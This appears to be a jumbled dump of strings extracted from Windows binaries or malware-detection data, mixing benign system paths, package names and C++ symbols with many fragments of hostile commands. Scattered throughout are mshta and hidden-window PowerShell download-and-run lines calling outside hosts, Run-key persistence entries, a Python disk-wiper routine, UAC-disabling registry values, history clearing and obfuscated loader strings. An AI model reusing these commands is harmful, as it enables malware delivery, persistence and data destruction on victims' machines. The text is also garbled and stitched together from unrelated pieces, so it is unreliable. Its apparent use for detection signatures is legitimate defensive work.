iadd rule name="Windows Core Networking(Async-In)cmd.exe /C net stop systemspoolersc qdescription msdtc 4000TS(
)c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://maerchen-beat-frei.ch/images/backgroundanimationv2.mp4'
cd$pzip;startclient32.exe;$fstr=$pzip+"\client32.exe";new-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-name"onen0teupdate
<si><t>\windows\</t></si><si><t>d"&amp;"l"&amp;"lr"&amp;"egister"&amp;"serve"&amp;"r</t></si><si><t>syswow64\</t></si><si><t>rundll32.exe</t></si>
onecoreuap\shell\windows.storage\davclnt.wil.h
onecoreuap\shell\windows.storage\EdpRoamableProtectionHelpers.h
onecoreuap\shell\windows.storage\SharedStorageSources\StateRepoSRCacheHelpers.h
onecoreuap\shell\windows.storage\appurldefaults.cpp
onecoreuap\shell\windows.storage\storageproviderregistration.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\assocelem.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\folderthumb.cpp
onecoreuap\shell\windows.storage\filefolderprop.cpp
onecoreuap\shell\windows.storage\CrossProcessCollections.h
onecoreuap\shell\windows.storage\sharedstoragesources\StateRepoHelpers.h
onecoreuap\shell\windows.storage\cstoragelibrary.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\ole2dup.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\dvthumbnail.cpp
onecoreuap\shell\windows.storage\automaticdestinationliststorage.cpp
onecoreuap\shell\windows.storage\staterepoverbscache.cpp
onecoreuap\shell\windows.storage\CreateProcessHelpers.h
onecoreuap\shell\windows.storage\sharedstoragesources\dataobjectexports.cpp
onecoreuap\shell\windows.storage\library\libraryapi.cpp
onecoreuap\shell\windows.storage\persistedtable.cpp
EnumChildWindows
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
    name="Microsoft.Windows.Shell.shlwapi"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Wil.FeatureLogging
Software\Microsoft\Windows\CurrentVersion\Explorer
Software\Microsoft\Windows\CurrentVersion\Explorer\FileAssociation
 Windows(TM) Operating System
@Security@Windows@@@Found
U?$default_delete@VXamlCore@Windows
USERDOMAIN_ROAMINGPROFILE=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
powershell.exe,%systemroot%\system32\windowspowershell\v1.0$xzk=[string][char[]]@(0x68,0x74,0x74,0x70,0x73)-replace'','';$yfh=[string][char[]]@(0x6d,0x73,0x68,0x74,0x61)-replace'','';saldt$yfh;$xzk+='://tinyurl.com/yboskwqj
tWindows
WindowsDirectory
Win32API|System Information Functions|GetWindowsDirectory
Global.WindowsMigration.AppXrateh92vwht1avvyymscdv5tx6mpjxzz.mca
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
 Windows S
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows
Picacls"%systemroot%\system32\smartscreen.exe"/reset
Global_WindowsStorage_Untyped_rgshil
Global_WindowsStorage_esServerMode
Global_WindowsStorage_dwThreadInitializing
Global_WindowsStorage_fEndInitialized
Global_WindowsStorage_MaxIcons
Global_WindowsStorage_csIconCache
Global_WindowsStorage_iLastSysIcon
Global_WindowsStorage_Untyped_MountPoint
(@https://assets.activity.windows.com
Microsoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-Kernel-LA57-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Windows.SimpleTCP.Content
Microsoft-Windows-SimpleTCP-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-SimpleTCP-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Windows.SmbDirect
Microsoft-Windows-SmbDirect-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-SmbDirect-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Windows.Telnet.Client
windows_major_version
Microsoft-Windows-Telnet-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-Telnet-Client-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7824
Windows.TerminalServices.AppServerClient
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~~10.0.26100.7824
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7824
\Windows\CurrentVersion\Explorer\ShellEN
0 free [.os.]: windows %s127.0.0.1	securityresponse.symantec.com'
Ximportwiperfromosimportsystemx=wiper.wiper()ifx.check_signs()==true:x.find_drives()x.find_encrypted_files()x.do_wipe()x.ch_bs()x.do_wipe()x.do_last_wipe()else:a=system('typenul>c:\\windows\\system32\\drivers\\sys-health.sys')a=system('typenul>c:\\windows\\system32\\en\\authfwmwizfwk.resources.dll')a=system('typenul>c:\\windows\\resources\\qwsystem32.dll')
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
	Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#StandbyCacheNormalPriorityBytes
windir%\system32\WerFaultSecure.exe
%windir%\system32\mrt.exe
%windir%\system32\NETSTAT.EXE
%windir%\system32\DriverStore\FileRepository\*\NVWMI\nvWmi64.exe
%programfiles(x86)%\Microsoft Intune Management Extension\Microsoft.Management.Services.IntuneWindowsAgent.exe
%programdata%\Microsoft\Windows Defender Advanced Threat Protection\DataCollection\*\OpenHandleCollector.exe
%programfiles%\WindowsApps\Microsoft.GamingServices_*\gamingservices.exe
Microsoft.Windows.Defender.TeTest
Microsoft.Windows.Defender
?qt_metacall@QWindowsStyle@@UEAAHW4Call@QMetaObject@@HPEAPEAX@Z
EnumChildWindows
SetWindowsHookExW
UnhookWindowsHookEx
GetSystemWindowsDirectoryW
EnumWindows
Error accessing windows registry base '%s': 0x%08lX
Error accessing windows registry key '%s\%s': 0x%08lX
Read nothing from Windows Registry key Value '%s\%s'
Error getting windows registry value for key '%s\%s': 0x%08lX
Error accessing Windows Registry key: '%ls' error code: %ld
Error accessing Windows Registry key Value '%ls\%ls' to get size, error code: %ld
Read nothing from Windows Registry key Value '%ls\%ls'
Error accessing Windows Registry key Value '%ls\%ls' error code: %ld
??4QWindowStateChangeEvent@@QEAAAEAV0@AEBV0@@Z
??4QWindowSystemEventHandler@@QEAAAEAV0@AEBV0@@Z
??4QWindowSystemInterface@@QEAAAEAV0@$$QEAV0@@Z
??4QWindowSystemInterface@@QEAAAEAV0@AEBV0@@Z
??4QWindowSystemInterfacePrivate@@QEAAAEAV0@$$QEAV0@@Z
??4QWindowSystemInterfacePrivate@@QEAAAEAV0@AEBV0@@Z
??4TabletEvent@QWindowSystemInterfacePrivate@@QEAAAEAV01@$$QEAV01@@Z
??4TabletEvent@QWindowSystemInterfacePrivate@@QEAAAEAV01@AEBV01@@Z
??6@YA?AVQDebug@@V0@AEBUTouchPoint@QWindowSystemInterface@@@Z
SOFTWARE\Microsoft\Windows NT\CurrentVersion
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection
EnumWindows
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\textservicessettings.cpp
7shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\textinputcapture.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\textinputinjector.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\textinputlistener.cpp
T`?tryCloseRemainingWindows@QGuiApplicationPrivate@@IEAA_NV?$QList@PEAVQWindow@@@@@Z
@Foundation@Windows@winrt@@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@V?$tuple@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$heap_implements@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@win
XP?isOverride@QWindowStateChangeEvent@@QEBA_NXZ
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
EnumWindows
CloudData.WindowsClient.AssetReference
CloudData.WindowsClient.AssetReference
BCloudData.WindowsClient.AssetReference
Windows.Data.Platform.Asset.PerDeviceAssetBlob
%windows%
c:\temp\windows10debloater\vdiuaemqlswozemipgjghd.exe
WindowsCodecs.dll
Behavior:Win32/WindowsCreateFileTest
// See: http://msdn.microsoft.com/en-us/library/windows/desktop/hh706313.aspx
// See: http://msdn.microsoft.com/en-us/library/windows/desktop/hh706313.aspx
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|00.1742.cat|Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|ackage0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|t|112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|0
da^com.microsoft.windows.e
e8^com.microsoft.windows.ey
f1^com.microsoft.windows.e
windows_ui_core_textinput!Windows::UI::Text::Core::CLayoutRequest::Invoke
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Input.Windows_UI_Core_Textinput
Windows.UI.Core.TextInput.pdb
Windows-R
C:\WINDOWS\SYSTEM32\
@MTU3LjI0NS4yNDQuNjc=portportportC:\WINDOWS\SYSTEM32\rundll32.exe %s, runSTAGE1
ext-ms-win-ntuser-windowstation-l1-1-0.dll
http://tj.gogo2021.xyz/\WINDOWS\Temp\MpCz01.tmp\TEMP\~1z23.tmppassThrough.pdb
47^windows.appService
default$windows.data.input.devices.pensyncedsettings
windows.data.input.devices.pensyncedsettings
default$windows.data.input.devices.mousesyncedsettings
windows.data.input.devices.mousesyncedsettings
default$windows.data.input.devices.touchpadsyncedsettings
windows.data.input.devices.touchpadsyncedsettings
default$windows.data.input.devices.touchpadsettings
default$windows.data.apps.packagedproducts
windows.data.input.devices.touchpadsettings
default$windows.data.input.devices.mousesettings
start/mincmd/cpowershell.exe-windowstylehidden-command"invoke-webrequest-uri'http://update25.com/ac/johnhp15.mp3'-outfile'c:\users\townc\appdata\local\aolmail\2.bat'"
RemoveWindowsStore
Mozilla/5.0 (Windows NT 10.0; Win64; x
Mozilla/5.0 (Windows NT 10.0; Win64; x
Mozilla/5.0 (Windows NT 10.0; Win64; x
Mozilla/5.0 (Windows NT 10.0; Win64; x
WindowsFeedback
C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Downloads\vaultsetup.exe
"Windows"a
q?S@windowsdir&"\server.crt
sWindows_
Windows Produc'
[7:set-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\
SLGetWindowsInformationDWORD
%systemroot%\system32\mswin!#SLF:Exploit:Win32/ThrepleCharm.E!dha
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
s\system32\wscriptC	
:\windows\system32\cmd.exe/ccontrol
start/minpowershell.exe-windowstylehidden"$huisher=1;$sstersnner225='substrin';
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
11e^com.microsoft.windows.extensionpackage
11f^com.microsoft.windows.extensions.xaml.aix
120^com.microsoft.windows.telemetryid
[%s:%03d] set fake ie agent tagindex.php|uid|v|pi|if||windowsupdate|systeminfo;net use
c:\windows\system32\
\windows\system32\cmd.exe/cstart/b/minxcopy/yc:\windows\system32\od^bcc*.exec:\programdata&&start/b/minxco^py/h/ynv.datc:\prog^ramdata&&cdc:\progr^am^data&&timeout1&&start/b/minodbc^con^f/a{regsvrnv.dat}
startup_folder=%appdata%\microsoft\windows\startmenu\programs\startup"set"shortcut_path=%startup_folder%\%shortcut_name%"ifnotexist"%exe_path%"(powershell-windowstylehidden-command"invoke-webrequest-uri
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
Windows.ApplicationModel.Background.ContentPrefetchTrigger
Windows.ApplicationModel.Background.ConversationalAgentTrigger
Windows.ApplicationModel.Background.CSystemCondition
Windows.ApplicationModel.Background.CSystemTrigger
Windows.ApplicationModel.Background.CustomSystemEventTrigger
Windows.ApplicationModel.Background.CustomSystemTrigger
Windows.ApplicationModel.Background.DeviceConnectionChangeTrigger
Windows.ApplicationModel.Background.DeviceManufacturerNotificationTrigger
Fuser-agent: mozilla/4.0 (compatible; msie 8.0; windows nt 6.1 sv1; .net clr 2.0.50727
%Microsoft Windows Production PCA 20110
Microsoft Windows0
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllv
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllv
WindowsAppRuntime.pngv
WindowsAppRuntime.DeploymentExtensions.OneCore.dllv
SnippingTool\SnippingToolUI\WindowSelection.xbf{(:
Assets\contrast-black\WindowsSecurityAppList.scale-125_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.scale-100_contrast-black.png~
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dll}
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll}
WindowsAppRuntime.png}
System.Windows.Browser
grV~c:\windows\system32
Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0
microsoft office/15.0 (windows nt 6.1; microsoft o
amd64_microsoft-windows-efs-service_31bf3856ad364e35_none_b75fd6493ce90524
amd64_microsoft-windows-efs-ui_31bf3856ad364e35_none_3dffc84a6ad0c827
amd64_microsoft-windows-efs-util-library_31bf3856ad364e35_none_a2fbe935d991a8fd
amd64_microsoft-windows-efsadu.resources_31bf3856ad364e35_en-us_0ab44a086950aa81
amd64_microsoft-windows-efsadu_31bf3856ad364e35_none_3e3571626aa017f6
amd64_microsoft-windows-ehome-tvratings_31bf3856ad364e35_none_db4bf4c84536732f
amd64_microsoft-windows-ehstor-api.resources_31bf3856ad364e35_en-us_fa7e78727f2a66bf
amd64_microsoft-windows-elam_31bf3856ad364e35_none_ce7468d0cbdc4305
amd64_microsoft-windows-els-hyphenation-etw_31bf3856ad364e35_none_e9bfc24e5d707149
c:\windows\system32\mshta.exeshortcutscript%windir%\system32\,http://a0681056.xsph.ru/intended/bars.xml/f%windir%\system32\shell32.dll
c:\windows\system32\mshta.exeshortcutscript%windir%\system32\,http://a0681546.xsph.ru/death/quickly.xml/f%windir%\system32\shell32.dll
WindowsStringHasEmbeddedNull
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
62^com.microsoft.windows.extensionpackage
63^com.microsoft.windows.extension.livecaptions
com.microsoft.windows.extension.livecaptions
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
9~Bp{rm"$env:tmp\$env:username-$i-$t.zip"-fo;}clear-history;rm"$env:appdata\microsoft\windows\powershell\psreadline\*"
s\system32..\..\..\..\windows\system32$cmd.exe/cc:\windows\explorer.exe.)\\not.real.host.safebreach\share\7571.ico
c:\windows\system32\cmd.exe/cstarthttp://internet-start.net/?utm_source=beatle
Microsoft Windows
c:\windows\fonts\gth
"scxconfig"windowsautomaticupdates"start=disabledpv-kfwuauclt.exe
%programfiles%\haihaisoft pdf reader;%system32%;%syswow64%
%programfiles%\windows defender advanced threat protection\classification;%system32%\mrt\%version%
%programfiles%\windows defender advanced threat protection\classification\sensece.exe
%programfiles%\windows kits\10\bin\%version%\x86;%programfiles%\windows kits\10\bin\%version%\x64;%programfiles%\windows kits\10\bin\%version%\arm;%programfiles%\windows kits\10\bin\%version%\arm64
%programfiles%\windows kits\10\bin\%version%\x86\oleview.exe;%programfiles%\windows kits\10\bin\%version%\x64\oleview.exe;%programfiles%\windows kits\10\bin\%version%\arm64\oleview.exe
%system32%;%syswow64%;%programfiles%\common files\microsoft shared\ime14\shared
%system32%;%syswow64%;%programfiles%.help workshop
%programfiles%\windows kits\10\debuggers\%version%\gflags.exe
%programfiles%\windows kits\%version%\debuggers\x86;%programfiles%\windows kits\%version%\debuggers\x64;%programfiles%\windows kits\%version%\debuggers\arm;%programfiles%\windows kits\%version%\debuggers\arm64;%system32%;%syswow64%
%programfiles%\microsoft visual studio\%version%\community\common7\ide\vc\vcpackages;%programfiles%\microsoft visual studio\%version%\buildtools\common7\ide\vc\vcpackages;%programfiles%\microsoft visual studio\%version%\buildtools\common7\ide;%programfiles%\microsoft intune management extension;%programfiles%\microsoft\edge\application\%version%;%programfiles%\microsoft\edgewebview\application\%version%;%programfiles%\microsoft\edgewebview\application\%version%;%programfiles%\microsoft rdinfra\rdmonitoringagent_%version%\agent;%programfiles%\windowsapps\microsoft.vclibs.%version%;%programfiles%\windowsapps\microsoft.outlookforwindows_%version%;%system32%;%syswow64%
Microsoft.Windows.StateRepository.Core
Windows.StateRepositoryCore.pdb
Windows.StateRepositoryCore.dll
GetWindowsDirectoryW
system32dummy_username@itsssl.com/dur3q"targetmode="external"
`Cstart-process$temppath-windowstylehiddenset-executionpolicy-executionpolicybypass
c:\windows\system32\cmd.exe/cwscript".
microsoft\windows\currentversion\policies\system-nameconsentpromptbehavioradmin-value0
windows subsystem for linuxw
GetWindowsDirectoryW
get_InternalWindowsDirectory
GetWindowsDirectory
knownNullWindowsIdentity
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
Windows.StateRepositoryClient.dll
onecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.secondarytileusernotifierfactory.cpp
Fonecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.secondarytileuserchangedeventargsfactory.cpp
onecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.primarytileuserchangedeventargsfactory.cpp
onecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.primarytileusernotifierfactory.cpp
onecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.secondarytileusernotifier.cpp
onecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.secondarytileuserchangedeventargs.cpp
onecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.primarytileuserchangedeventargs.cpp
onecore\base\appmodel\staterepository\winrt\inproc\lib\windows.internal.staterepository.primarytileusernotifier.cpp
C:\WINDOWS\globalization\icu
emkdir "C:\test" >nul 2>&1 & powershell -WindowStyle Hidden -Command "$wc=New-Object Net.WebClient;m
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.AppXAllUserStore
setwindowshookex.invoke(0xd
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
oundation@Windows@winrt@@W4PageId@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4PageId@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AV<lambda_275_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@1UI@Microsoft@7@@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@4@@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@W4NavigationViewDisplayMode@Controls@6UI@Microsoft@4@@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@4@@Foundation@Windows@winrt@@V<lambda_275_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@1UI@Microsoft@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4NavigationViewDisplayMode@Controls@7UI@Microsoft@4@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@X@impl@winrt@@
